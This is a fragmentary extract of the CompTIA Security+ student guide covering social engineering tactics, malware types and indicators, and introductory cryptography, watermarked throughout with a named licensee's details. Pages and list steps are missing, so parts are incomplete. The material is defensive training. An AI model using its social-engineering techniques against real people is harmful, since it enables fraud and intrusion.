You should be able to summarize types of security assessments, such as vulnerability,
threat hunting, and penetration testing. You should also be able to explain general
procedures for conducting these assessments.
• Run scans regularly and review the results to identify false positives and false
negatives, using log review and additional CVE information to validate results if
necessary.
• Consider implementing penetration testing exercises, ensuring that these are set
up with clear rules of engagement for red/blue or purple team exercise types and
black/white/gray box disclosure.
• Run penetration tests using a structured kill chain life cycle, with reconnaissance,
exploitation, persistence, privilege escalation, lateral movement/pivoting, actions on
objectives, and cleanup phases.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 4
Identifying Social
Engineering and Malware
LESSON INTRODUCTION
It is not sufficient for security assessments to focus solely on software vulnerabilities
and configuration errors. As well as these hardware and software systems, the
attack surface contains a company's employees and the degree to which they can
be exploited to gain unauthorized access or privileges. Threat actors use social
engineering techniques to elicit information, obtain access to premises, and to trick
users into running malicious code. You must understand these attacks and train
your colleagues and customers with the ability to detect and report them. As well as
being able to explain these techniques, you must be able to describe the indicators
associated with different types of malware and analyze your systems for possible
infections.
Lesson Objectives
In this lesson, you will:
• Compare and contrast social engineering techniques.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
74 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 4A
Compare and Contrast Social
Engineering Techniques
Social Engineering
Adversaries can use a diverse range of techniques to compromise a security system.
A prerequisite of many types of attacks is to obtain information about the network
and security system. Social engineering refers to means of either eliciting information
from someone or getting them to perform some action for the threat actor. It can also
be referred to as "hacking the human." Social engineering might be used to gather
intelligence as reconnaissance in preparation for an intrusion, or it might be used to
effect an actual intrusion. Typical social engineering intrusion scenarios include:
• An attacker creates an executable file that prompts a network user for their
password, and then records whatever the user inputs. The attacker then emails
the executable file to the user with the story that the user must double-click the file
and log on to the network again to clear up some logon problems the organization
has been experiencing that morning. After the user complies, the attacker now has
access to their network credentials.
• An attacker triggers a fire alarm and then slips into the building during the
confusion and attaches a monitoring device to a network port.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 75
Familiarity/Liking
Some people have the sort of natural charisma that allows them to persuade others
to do as they request. One of the basic tools of a social engineer is simply to be affable
and likable, and to present the requests they make as completely reasonable and
unobjectionable. This approach is relatively low-risk as even if the request is refused,
it is less likely to cause suspicion and the social engineer may be able to move on to a
different target without being detected.
Consensus/Social Proof
The principle of consensus or social proof refers to the fact that without an explicit
instruction to behave in a certain way, many people will act just as they think others
would act. A social engineering attack can use this instinct either to persuade the
target that to refuse a request would be odd ("That's not something anyone else has
ever said no to") or to exploit polite behavior to slip into a building while someone
holds the door for them. As another example, an attacker may be able to fool a user
into believing that a malicious website is actually legitimate by posting numerous fake
reviews and testimonials praising the site. The victim, believing many different people
have judged the site acceptable, takes this as evidence of the site's legitimacy and
places their trust in it.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
76 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Making a convincing impersonation and establishing a trust with the target usually
depends on the attacker obtaining privileged information about the organization.
For example, where the attacker impersonates a member of the organization's IT
support team, the attack will be more effective with identity details of the person being
impersonated and the target.
Some social engineering techniques are dedicated to obtaining this type of intelligence
as a reconnaissance activity. As most companies are set up toward customer service
rather than security, this information is typically quite easy to come by. Information
that might seem innocuous—such as department employee lists, job titles, phone
numbers, diaries, invoices, or purchase orders—can help an attacker penetrate an
organization through impersonation.
Dumpster Diving
Dumpster diving refers to combing through an organization's (or individual's) garbage
to try to find useful documents (or even files stored on discarded removable media).
Remember that attacks may be staged over a long period. Initial attacks may only aim at
compromising low-level information and user accounts, but this low-level information can
be used to attack more sensitive and confidential data and better protected management
and administrative accounts.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 77
Sometimes the terms identity fraud and identity theft are used to distinguish between
making up an identity versus stealing someone else's identity.
• Shoulder surfing—a threat actor can learn a password or PIN (or other secure
information) by watching the user type it. Despite the name, the attacker may not
have to be in close proximity to the target—they could use high-powered binoculars
or CCTV to directly observe the target remotely.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
78 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Example phishing email—On the right, you can see the message in its true form as the mail client has
stripped out the formatting (shown on the left) designed to disguise the nature of the links.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 79
could also be perpetrated over any type of instant messaging or Internet messaging
service (SPIM).
Hoaxes, such as security alerts or chain emails, are another common social
engineering technique, often combined with phishing attacks. An email alert or web
pop-up will claim to have identified some sort of security problem, such as virus
infection, and offer a tool to fix the problem. The tool of course will be some sort of
Trojan application. Malvertising exploits the use of space on legitimate websites set
aside for advertising served from content delivery networks (CDNs) without much
oversight (blog.talosintelligence.com/2019/07/malvertising-deepdive.html). Criminals
will also use sophisticated phone call scams to try to trick users into revealing login
credentials or financial account details.
A phishing or hoax email can be made more convincing by prepending. In an offensive
sense, prepending means adding text that appears to have been generated by the mail
system. For example, an attacker may add "RE:" to the subject line to make it appear
as though the message is a reply or may add something like "MAILSAFE: PASSED" to
make it appear as though a message has been scanned and accepted by some security
software. Conversely, some mail systems may perform prepending legitimately,
such as tagging external messages or messages with a warning if they have not been
definitively identified as spam but that do have suspicious elements.
Pharming
Pharming is a passive means of redirecting users from a legitimate website to a
malicious one. Rather than using social engineering techniques to trick the user,
pharming relies on corrupting the way the victim's computer performs Internet name
resolution, so that they are redirected from the genuine site to the malicious one. For
example, if mybank.foo should point to the IP address 2.2.2.2, a pharming attack would
corrupt the name resolution process to make it point to IP address 6.6.6.6.
Typosquatting
Rather than redirection, a threat actor might use typosquatting. This means that
the threat actor registers a domain name that is very similar to a real one, such
as connptia.org, hoping that users will not notice the difference. These are
also referred to as cousin, lookalike, or doppelganger domains. Typosquatting might
be used for pharming and phishing attacks. Another technique is to register a
hijacked subdomain using the primary domain of a trusted cloud provider, such as
onmicrosoft.com. If a phishing message appears to come from comptia.
onmicrosoft.com, many users will be inclined to trust it.
Watering Hole Attack
A watering hole attack is another passive technique where the threat actor does not
have to risk communicating directly with the target. It relies on the circumstance that a
group of targets may use an unsecure third-party website. For example, staff running
an international e-commerce site might use a local pizza delivery firm. If an attacker
can compromise the pizza delivery firm's website or deploy a type of malvertising,
they may be able infect the computers of the e-commerce company's employees and
penetrate the e-commerce company systems.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
80 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Credential Harvesting
Within the general realm of phishing and pharming, credential harvesting is a
campaign specifically designed to steal account credentials. The attacker may have
more interest in selling the database of captured logins than trying to exploit them
directly. Such attacks will use an alarming message such as "Your account is being used
to host child pornography" or "There is a problem with your account storage" and a link
to a pharming site embroidered with the logos of a legitimate service provider, such as
Google, Microsoft, Facebook, or Twitter. Attacks using malvertising or scripts injected
into shopping cart code are also popular (csoonline.com/article/3400381/what-is-
magecart-how-this-hacker-group-steals-payment-card-data.html). Targeted credential
harvesting might be directed against a single company's password reset or account
management portal.
Influence Campaigns
An influence campaign is a major program launched by an adversary with a high level
of capability, such as a nation-state actor, terrorist group, or hacktivist group. The goal
of an influence campaign is to shift public opinion on some topic. Most high-profile
influence campaigns that have been detected target election activity, but actors may
use such campaigns to pursue a number of goals. With state actors, the concept of
soft power refers to using diplomatic and cultural assets to achieve an objective. When
deployed along with espionage, disinformation/fake news, and hacking, a hostile
campaign can be characterized as hybrid warfare (assets.publishing.service.gov.uk/
government/uploads/system/uploads/attachment_data/file/840513/20190401-MCDC_
CHW_Information_note_-_Conceptual_Foundations.pdf).
Diplomatic activity and election meddling by foreign security services has a very long
history and well-established tactics. Modern campaigns can use social media to ensure
wide distribution of hoaxes and invented stories. Actors can use AI-assisted bots and
armies of people to open or hack accounts and repeat or reinforce messages that
support the campaign's aims.
Apart from destabilizing the host country generally, influence campaigns might affect
private companies because they become caught up within a fake story. It is important
for companies to closely monitor references to them on social media and take steps
to correct or remove false or misleading posts. When an influence campaign is
detected, companies operating in critical industries—utilities, election management,
transportation—should enter a heightened state of alert.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 81
Review Activity:
Social Engineering Techniques
Answer the following questions:
1. The help desk takes a call and the caller states that she cannot connect to
the e-commerce website to check her order status. She would also like a
user name and password. The user gives a valid customer company name
but is not listed as a contact in the customer database. The user does not
know the correct company code or customer ID. Is this likely to be a social
engineering attempt, or is it a false alarm?
4. Your company manages marketing data and private information for many
high-profile clients. You are hosting an open day for prospective employees.
With the possibility of social engineering attacks in mind, what precautions
should employees take when the guests are being shown around the office?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
82 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 4B
Analyze Indicators
of Malware-Based Attacks
One of the most prevalent threats to computers today is malicious code. As a security
professional, you will likely have experience in dealing with unwanted software
infecting your systems. By classifying the various types of malware and identifying the
signs of infection, you will be better prepared remediate compromised systems or
prevent malware from executing in the first place.
Malware Classification
Many of the intrusion attempts perpetrated against computer networks depend
on the use of malicious software, or malware. Malware is usually simply defined as
software that does something bad, from the perspective of the system owner. There
are many types of malware, but they are not classified in a rigorous way, so some
definitions overlap or are blurred. Some malware classifications, such as Trojan, virus,
and worm, focus on the vector used by the malware. The vector is the method by
which the malware executes on a computer and potentially spreads to other network
hosts. Another complicating factor with malware classification is the degree to which
its installation is expected or tolerated by the user. The following categories describe
some types of malware according to vector:
• Viruses and worms—these represent some of the first types of malware and spread
without any authorization from the user by being concealed within the executable
code of another process.
Other classifications are based on the payload delivered by the malware. The payload
is an action performed by the malware other than simply replicating or persisting on
a host. Examples of payload classifications include spyware, rootkit, remote access
Trojan (RAT), and ransomware.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 83
Computer Viruses
A computer virus is a type of malware designed to replicate and spread from computer
to computer, usually by "infecting" executable applications or program code. There are
several different types of viruses and they are generally classified by the different types
of file or media that they infect:
• Non-resident/file infector—the virus is contained within a host executable file and
runs with the host process. The virus will try to infect other process images on
persistent storage and perform other payload actions. It then passes control back to
the host program.
• Memory resident—when the host file is executed, the virus creates a new process
for itself in memory. The malicious process remains in memory, even if the host
process is terminated.
• Boot—the virus code is written to the disk boot sector or the partition table of a
fixed disk or USB media, and executes as a memory resident process when the OS
starts or the media is attached to the computer.
• Script and macro viruses—the malware uses the programming features available
in local scripting engines for the OS and/or browser, such as PowerShell, Windows
Management Instrumentation (WMI), JavaScript, Microsoft Office documents with
Visual Basic for Applications (VBA) code enabled, or PDF documents with JavaScript
enabled.
In addition, the term multipartite is used for viruses that use multiple vectors and
polymorphic for viruses that can dynamically change or obfuscate their code to evade
detection.
What these types of viruses have in common is that they must infect a host file or
media. An infected file can be distributed through any normal means—on a disk, on
a network, as an attachment to an email or social media post, or as a download from
a website.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
84 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Unsafe attachment detected by Outlook's mail filter—The "double" file extension is an unsophisticated
attempt to fool any user not already alerted by the use of both English and German in the message
text. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 85
at all, however. The malware may change registry values to achieve persistence
(executing if the host computer is restarted). The initial execution of the malware
may also depend on the user running a downloaded script, file attachment, or
Trojan software package.
• Fileless malware may use "live off the land" techniques rather than compiled
executables to evade detection. This means that the malware code uses
legitimate system scripting tools, notably PowerShell and Windows Management
Instrumentation (WMI), to execute payload actions. If they can be executed with
sufficient permissions, these environments provide all the tools the attacker needs
to perform scanning, reconfigure settings, and exfiltrate data.
The terms advanced persistent threat (APT) and advanced volatile threat (AVT) can be
used to describe this general class of modern fileless/live off the land malware.
Another useful classification is low observable characteristics (LOC) attack (mcafee.
com/enterprise/en-us/security-awareness/ransomware/what-is-fileless-malware.html).
The exact classification is less important than the realization that adversaries can use
any variety of coding tricks to effect intrusions and that their tactics, techniques, and
procedures to evade detection are continually evolving.
• Spyware—this is malware that can perform adware-like tracking, but also monitor
local application activity, take screenshots, and activate recording devices, such as a
microphone or webcam. Another spyware technique is perform DNS redirection to
pharming sites.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
86 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Actual Keylogger is Windows software that can run in the background to monitor different kinds of
computer activity (opening and closing programs, browsing websites, recording keystrokes, and
capturing screenshots). (Screenshot used with permission from ActualKeylogger.com.)
Keyloggers are not only implemented as software. A malicious script can transmit key
presses to a third-party website. There are also hardware devices to capture key presses to
a modified USB adapter inserted between the keyboard and the port. Such devices can store
data locally or come with Wi-Fi connectivity to send data to a covert access point. Other
attacks include wireless sniffers to record key press data, overlay ATM pin pads, and so on.
In this context, RAT can also stand for Remote Administration Tool. A host that is under
malicious control is sometimes described as a zombie.
A compromised host can be installed with one or more bots. A bot is an automated
script or tool that performs some malicious activity. A group of bots that are all under
the control of the same malware instance can be manipulated as a botnet by the
herder program. A botnet can be used for many types of malicious purpose, including
triggering distributed denial of service (DDoS) attacks, launching spam campaigns, or
performing cryptomining.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 87
SubSeven RAT. (Screenshot used with permission from Wikimedia Commons by CCAS4.0 International.)
Rootkits
In Windows, malware can only be manually installed with local administrator privileges.
This means the user must be confident enough in the installer package to enter the
credentials or accept the User Account Control (UAC) prompt. Windows tries to protect
the system from abuse of administrator privileges. Critical processes run with a higher
level of privilege (SYSTEM). Consequently, Trojans installed in the same way as regular
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
88 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
software cannot conceal their presence entirely and will show up as a running process
or service. Often the process image name is configured to be similar to a genuine
executable or library to avoid detection. For example, a Trojan may use the filename
"run32d11" to masquerade as "run32dll". To ensure persistence (running when the
computer is restarted), the Trojan may have to use a registry entry or create itself as a
service, which can usually be detected fairly easily.
If the malware can be delivered as the payload for an exploit of a severe vulnerability,
it may be able to execute without requiring any authorization using SYSTEM privileges.
Alternatively, the malware may be able to use an exploit to escalate privileges after
installation. Malware running with this level of privilege is referred to as a rootkit. The
term derives from UNIX/Linux where any process running as root has unrestricted
access to everything from the root of the file system down.
In theory, there is nothing about the system that a rootkit could not change. In practice,
Windows uses other mechanisms to prevent misuse of kernel processes, such as
code signing (microsoft.com/security/blog/2017/10/23/hardening-the-system-and-
maintaining-integrity-with-windows-defender-system-guard). Consequently, what
a rootkit can do depends largely on adversary capability and level of effort. When
dealing with a rootkit, you should be aware that there is the possibility that it can
compromise system files and programming interfaces, so that local shell processes,
such as Explorer, taskmgr, or tasklist on Windows or ps or top on Linux, plus port
scanning tools, such as netstat, no longer reveals its presence (at least, if run from the
infected machine). A rootkit may also contain tools for cleaning system logs, further
concealing its presence (microsoft.com/en-us/wdsi/threats/malware-encyclopedia-
description?Name=Win32%2fCutwail).
Software processes can run in one of several "rings." Ring 0 is the most privileged (it
provides direct access to hardware) and so should be reserved for kernel processes only.
Ring 3 is where user-mode processes run; drivers and I/O processes may run in Ring 1 or
Ring 2. This architecture can also be complicated by the use of virtualization.
There are also examples of rootkits that can reside in firmware (either the computer
firmware or the firmware of any sort of adapter card, hard drive, removable drive, or
peripheral device). These can survive any attempt to remove the rootkit by formatting
the drive and reinstalling the OS. For example, the US intelligence agencies have
developed DarkMatter and QuarkMatter EFI rootkits targeting the firmware on Apple
Macbook laptops (pcworld.com/article/3179348/after-cia-leak-intel-security-releases-
detection-tool-for-efi-rootkits.html).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 89
The crypto-malware class of ransomware attempts to encrypt data files on any fixed,
removable, and network drives. If the attack is successful, the user will be unable to
access the files without obtaining the private encryption key, which is held by the
attacker. If successful, this sort of attack is extremely difficult to mitigate, unless the
user has up to date backups of the encrypted files. One example of this is Cryptolocker,
a Trojan that searches for files to encrypt and then prompts the victim to pay a sum of
money before a certain countdown time, after which the malware destroys the key that
allows the decryption.
Ransomware uses payment methods, such as wire transfer, cryptocurrency, or
premium rate phone lines, to allow the attacker to extort money without revealing his
or her identity or being traced by local law enforcement.
Another type of crypto-malware hijacks the resources of the host to perform
cryptocurrency mining. This is referred to as crypto-mining or cryptojacking. The total
number of coins within a cryptocurrency is limited by the difficulty of performing the
calculations necessary to mint a new digital coin. Consequently, new coins can be very
valuable, but it takes enormous computing resources to discover them. Cryptojacking
is often performed across botnets.
Some types of malware do not trigger automatically. Having infected a system, they
wait for a pre-configured time or date (time bomb) or a system or user event (logic
bomb). Logic bombs also need not be malware code. A typical example is a disgruntled
system administrator who leaves a scripted trap that runs in the event his or her
account is deleted or disabled. Anti-virus software is unlikely to detect this kind of
malicious script or program. This type of trap is also referred to as a mine.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
90 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Malware Indicators
Given the range of malware types, there are many potential indicators. Some types
of malware display obvious changes, such as adjusting browser settings or displaying
ransom notices. If malware is designed to operate covertly, indicators can require
detailed analysis of process, file system, and network behavior.
Anti-Virus Notifications
Most hosts should be running some type of anti-virus (A-V) software. While the
A-V moniker remains popular, these suites are better conceived of as endpoint
protection platforms (EPPs) or next-gen A-V. These detect malware by signature
regardless of type, though detection rates can vary quite widely from product to
product. Many suites also integrate with user and entity behavior analytics (UEBA)
and use AI-backed analysis to detect threat actor behavior that has bypassed malware
signature matching.
Sandbox Execution
If it is not detected by endpoint protection, you may want to analyze the suspect code
in a sandboxed environment. A sandbox is a system configured to be completely
isolated from its host so that the malware cannot "break out." The sandbox will be
designed to record file system and registry changes plus network activity. Cuckoo
is packaged software that aims to provide a turnkey sandbox solution
(cuckoosandbox.org).
Resource Consumption
Abnormal resource consumption can be detected using a performance monitor, Task
Manager, or the top Linux utility. Indicators such as excessive and continuous CPU
usage, memory leaks, disk read/write activity, and disk space usage can be signs of
malware, but can also be caused by many other performance and system stability
issues. Also, it is only really poorly written malware or malware that performs intensive
operations (botnet DDoS, cryptojacking, and cryptoransomware, for instance) that
displays this behavior. Resource consumption could be a reason to investigate a
system rather than definitive proof of infection.
File System
While fileless malware is certainly prevalent, file system change or anomaly analysis
is still necessary. Even if the malware code is not saved to disk, the malware is still
likely to interact with the file system and registry, revealing its presence by behavior.
A computer's file system stores a great deal of useful metadata about when files were
created, accessed, or modified. Analyzing these metadata and checking for suspicious
temporary files can help you establish your timeline of events for an incident that has
left traces on a host and its files.
Process Analysis
Because shellcode is easy to obfuscate, it can often evade signature-based A-V
products. Threat hunting and security monitoring must use behavioral-based
techniques to identify infections. This means close analysis of the processes running
in system memory on a host. To perform abnormal process behavior analysis
effectively, you should build up a sense of what is "normal" in a system and spot
deviations in a potentially infected system. You also need to use appropriate analysis
tools. Sysinternals (docs.microsoft.com/en-us/sysinternals) is a suite of tools designed
to assist with troubleshooting issues with Windows, and many of the tools are suited
to investigating security issues. The Sysinternals tool Process Explorer is an enhanced
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 91
version of Task Manager. You can view extra information about each process and
better understand how processes are created in parent/child relationships.
In this example, the Metasploit Framework is being used to obtain access via a
remotely executed PowerShell prompt, with privileges obtained by passing a captured
hash. This attack leverages the Sysinternals PsExec utility to drop a service executable
into the Admin$ share on the remote machine. In this variant of the attack, the service
starts PowerShell. Pointing to the powershell.exe image in Process Explorer shows the
parameters that the process launched with. In this case, the command used to start
this is not typical of PowerShell usage. There is a long string of characters, which is
binary code represented in Base64. The script is injecting this into a new DLL, stored in
memory only.
Observing use of PsExec to invoke a PowerShell script that creates memory-resident shellcode.
(Screenshot: Process Explorer docs.microsoft.com/en-us/sysinternals.)
This sort of behavior can only be observed in real-time when the malware is executed
in a sandbox. Threat hunting and automated detection tools can use detailed logging,
such as that provided by System Monitor (github.com/SwiftOnSecurity/sysmon-config),
to record and identify malicious process behavior.
Along with observing how a process interacts with the file system, network activity is
one of the most reliable ways to identify malware. Threat data can be used to correlate
connections to known-bad IP addresses and domains, but malware may try to connect
to continually shifting endpoints, utilizing techniques such as fast-flux and domain
generation algorithms (DGA). It may try to use social media and cloud services to blend
in with legitimate traffic.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
92 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Indicators of Malware-Based Attacks
Answer the following questions:
3. You are writing a security awareness blog for company CEOs subscribed
to your threat platform. Why are backdoors and Trojans different ways of
classifying and identifying malware risks?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 93
Lesson 4
Summary
You should be able to identify the social engineering and malware-based methods that
threat actors use to effect intrusions.
• Use policies and procedures that hinder social engineers from eliciting information
or obtaining unauthorized access.
• Use training and education programs to help employees recognize types of malware
threat (Trojan, PUP, spyware, backdoor, bots, rootkits, and ransomware) and the
vectors by which malware can execute.
• Use security filters and limited privileges to restrict the ability of users to execute
infected files or scripts.
• Consider using threat data feeds to assist with identification of command and
control networks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 5
Summarizing Basic
Cryptographic Concepts
LESSON INTRODUCTION
Assess and monitor activities utilize threat intelligence to identify potential attack
vectors detect malicious activity. The protect cybersecurity function aims to build
secure IT processing systems that exhibit the attributes of confidentiality, integrity, and
availability. Many of these secure systems depend wholly or in part on cryptography.
A cryptographic system encodes data in such a way that only authorized persons
can decode it. Cryptography is the basis for many of the security systems you will be
implementing and configuring. As an information security professional, you must
have a good understanding of the concepts underpinning cryptographic algorithms
and their implementation in secure protocols and services. All security personnel
must be able to contrast the different types of cryptographic ciphers, understand how
they can be used to apply data confidentiality, integrity, and availability, and describe
the weaknesses they may exhibit. A secure technical understanding of the subject
will enable you to explain the importance of cryptographic systems and to select
appropriate technologies to meet a given security goal.
Lesson Objectives
In this lesson, you will:
• Compare and contrast cryptographic ciphers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
96 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 5A
Compare and Contrast
Cryptographic Ciphers
Cryptographic Concepts
Cryptography (literally meaning "secret writing") has been around for thousands
of years. It is the art of making information secure by encoding it. This stands in
opposition to the concept of security through obscurity. Security through obscurity
means keeping something a secret by hiding it. This is generally acknowledged to be
impossible (or at least, high risk) on any sort of computer network. With cryptography,
it does not matter if third-parties know of the existence of the secret, because they can
never know what it is without obtaining an appropriate credential.
The following terminology is used to discuss cryptography:
• Plaintext (or cleartext)—an unencrypted message.
There are three main types of cryptographic algorithm with different roles to play in
the assurance of the security properties confidentiality, integrity, availability, and non-
repudiation. These types are hashing algorithms and two types of encryption ciphers:
symmetric and asymmetric.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 97
Hashing Algorithms
Hashing is the simplest type of cryptographic operation. A cryptographic hashing
algorithm produces a fixed length string from an input plaintext that can be of any
length. The output can be referred to as a checksum, message digest, or hash, The
function is designed so that it is impossible to recover the plaintext data from the
digest (one-way) and so that different inputs are unlikely to produce the same output
(a collision).
A hashing algorithm is used to prove integrity. For example, Bob and Alice can compare
the values used for a password in the following way:
1. Bob already has a digest calculated from Alice's plaintext password. Bob cannot
recover the plaintext password value from the hash.
2. When Alice needs to authenticate to Bob, she types her password, converts it to a
hash, and sends the digest to Bob.
3. Bob compares Alice's digest to the hash value he has on file. If they match, he can
be sure that Alice typed the same password.
As well as comparing password values, a hash of a file can be used to verify the
integrity of that file after transfer.
1. Alice runs a hash function on the setup.exe file for her product. She publishes the
digest to her website with a download link for the file.
2. Bob downloads the setup.exe file and makes a copy of the digest.
3. Bob runs the same hash function on the downloaded setup.exe file and
compares it to the reference value published by Alice. If it matches the value
published on the website, the integrity of the file can be assumed.
4. Consider that Mallory might be able to substitute the download file for a
malicious file. Mallory cannot change the reference hash, however.
5. This time, Bob computes a hash but it does not match, leading him to suspect
that the file has been tampered with.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
98 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Computing an SHA value from a file. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 99
Symmetric Encryption
A symmetric cipher is one in which encryption and decryption are both performed
by the same secret key. The secret key is so-called because it must be kept secret.
If the key is lost or stolen, the security is breached. Symmetric encryption is used
for confidentiality. For example, Alice and Bob can share a confidential file in the
following way:
1. Alice and Bob meet to agree which cipher to use and a secret key value. They
both record the value of the secret key, making sure that no one else can
discover it.
4. Bob receives the ciphertext and is able to decrypt it by applying the same cipher
with his copy of the secret key.
Symmetric encryption is also referred to as single key or private key or shared secret. Note
that "private key" is also used to refer to part of the public key cryptography process, so take
care not to confuse the two uses.
Symmetric encryption is very fast. It is used for bulk encryption of large amounts of
data. The main problem is secure distribution and storage of the key, or the exact
means by which Alice and Bob "meet" to agree the key. If Mallory intercepts the key
and obtains the ciphertext, the security is broken.
Note that symmetric encryption cannot be used for authentication or integrity, because
Alice and Bob are able to create exactly the same secrets, because they both know the
same key.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
100 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Stream Ciphers
In a stream cipher, each byte or bit of data in the plaintext is encrypted one at a
time. This is suitable for encrypting communications where the total length of the
message is not known. The plaintext is combined with a separate randomly generated
message, calculated from the key and an initialization vector (IV). The IV ensures the
key produces a unique ciphertext from the same plaintext. The keystream must be
unique, so an IV must not be reused with the same key. The recipient must be able to
generate the same keystream as the sender and the streams must be synchronized.
Stream ciphers might use markers to allow for synchronization and retransmission.
Some types of stream ciphers are made self-synchronizing.
Block Ciphers
In a block cipher, the plaintext is divided into equal-size blocks (usually 128-bit). If
there is not enough data in the plaintext, it is padded to the correct size using some
string defined in the algorithm. For example, a 1200-bit plaintext would be padded with
an extra 80 bits to fit into 10 x 128-bit blocks. Each block is then subjected to complex
transposition and substitution operations, based on the value of the key used.
The Advanced Encryption Standard (AES) is the default symmetric encryption cipher
for most products. Basic AES has a key size of 128 bits, but the most widely used
variant is AES256, with a 256-bit key.
Key Length
The range of key values available to use with a particular cipher is called the keyspace.
The keyspace is roughly equivalent to two to the power of the size of the key. Using a
longer key (256 bits rather than 128 bits, for instance) makes the encryption scheme
stronger. You should realize that key lengths are not equivalent when comparing
different algorithms, however. Recommendations on minimum key length for any
given algorithm are made by identifying whether the algorithm is vulnerable to
cryptanalysis techniques and by the length of time it would take to "brute force" the
key, given current processing resources.
Asymmetric Encryption
In a symmetric encryption cipher, the same secret key is used to perform both
encryption and decryption operations. With an asymmetric cipher, operations are
performed by two different but related public and private keys in a key pair.
Each key is capable of reversing the operation of its pair. For example, if the public key
is used to encrypt a message, only the paired private key can decrypt the ciphertext
produced. The public key cannot be used to decrypt the ciphertext, even though it was
used to encrypt it.
The keys are linked in such a way as to make it impossible to derive one from the
other. This means that the key holder can distribute the public key to anyone he or she
wants to receive secure messages from. No one else can use the public key to decrypt
the messages; only the linked private key can do that.
1. Bob generates a key pair and keeps the private key secret.
2. Bob publishes the public key. Alice wants to send Bob a confidential message, so
she takes a copy of Bob's public key.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 101
5. Bob receives the message and is able to decrypt it using his private key.
6. If Mallory has been snooping, he can intercept both the message and the public
key.
7. However, Mallory cannot use the public key to decrypt the message, so the
system remains secure.
Asymmetric encryption can be used to prove identity. The holder of a private key
cannot be impersonated by anyone else. The drawback of asymmetric encryption is
that it involves substantial computing overhead compared to symmetric encryption.
The message cannot be larger than the key size. Where a large amount of data is being
encrypted on disk or transported over a network, asymmetric encryption is inefficient.
Consequently, asymmetric encryption is mostly used for authentication and non-
repudiation and for key agreement and exchange. Key agreement/exchange refers
to settling on a secret symmetric key to use for bulk encryption without anyone else
discovering it.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
102 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Elliptic curve cryptography (ECC) is another type of trapdoor function that can be
used in public key cryptography ciphers. The principal advantage of ECC over RSA's
algorithm is that there are no known "shortcuts" to cracking the cipher or the math
that underpins it, regardless of key length. Consequently, ECC used with a key size of
256 bits is very approximately comparable to RSA with a key size of 2048 bits.
RSA key pair security depends on the difficulty of finding the prime factors of very large
integers (modular exponentiation). ECC depends on the discrete logarithm problem.
Cloudflare have produced an excellent overview of the differences (blog.cloudflare.com/a-
relatively-easy-to-understand-primer-on-elliptic-curve-cryptography).
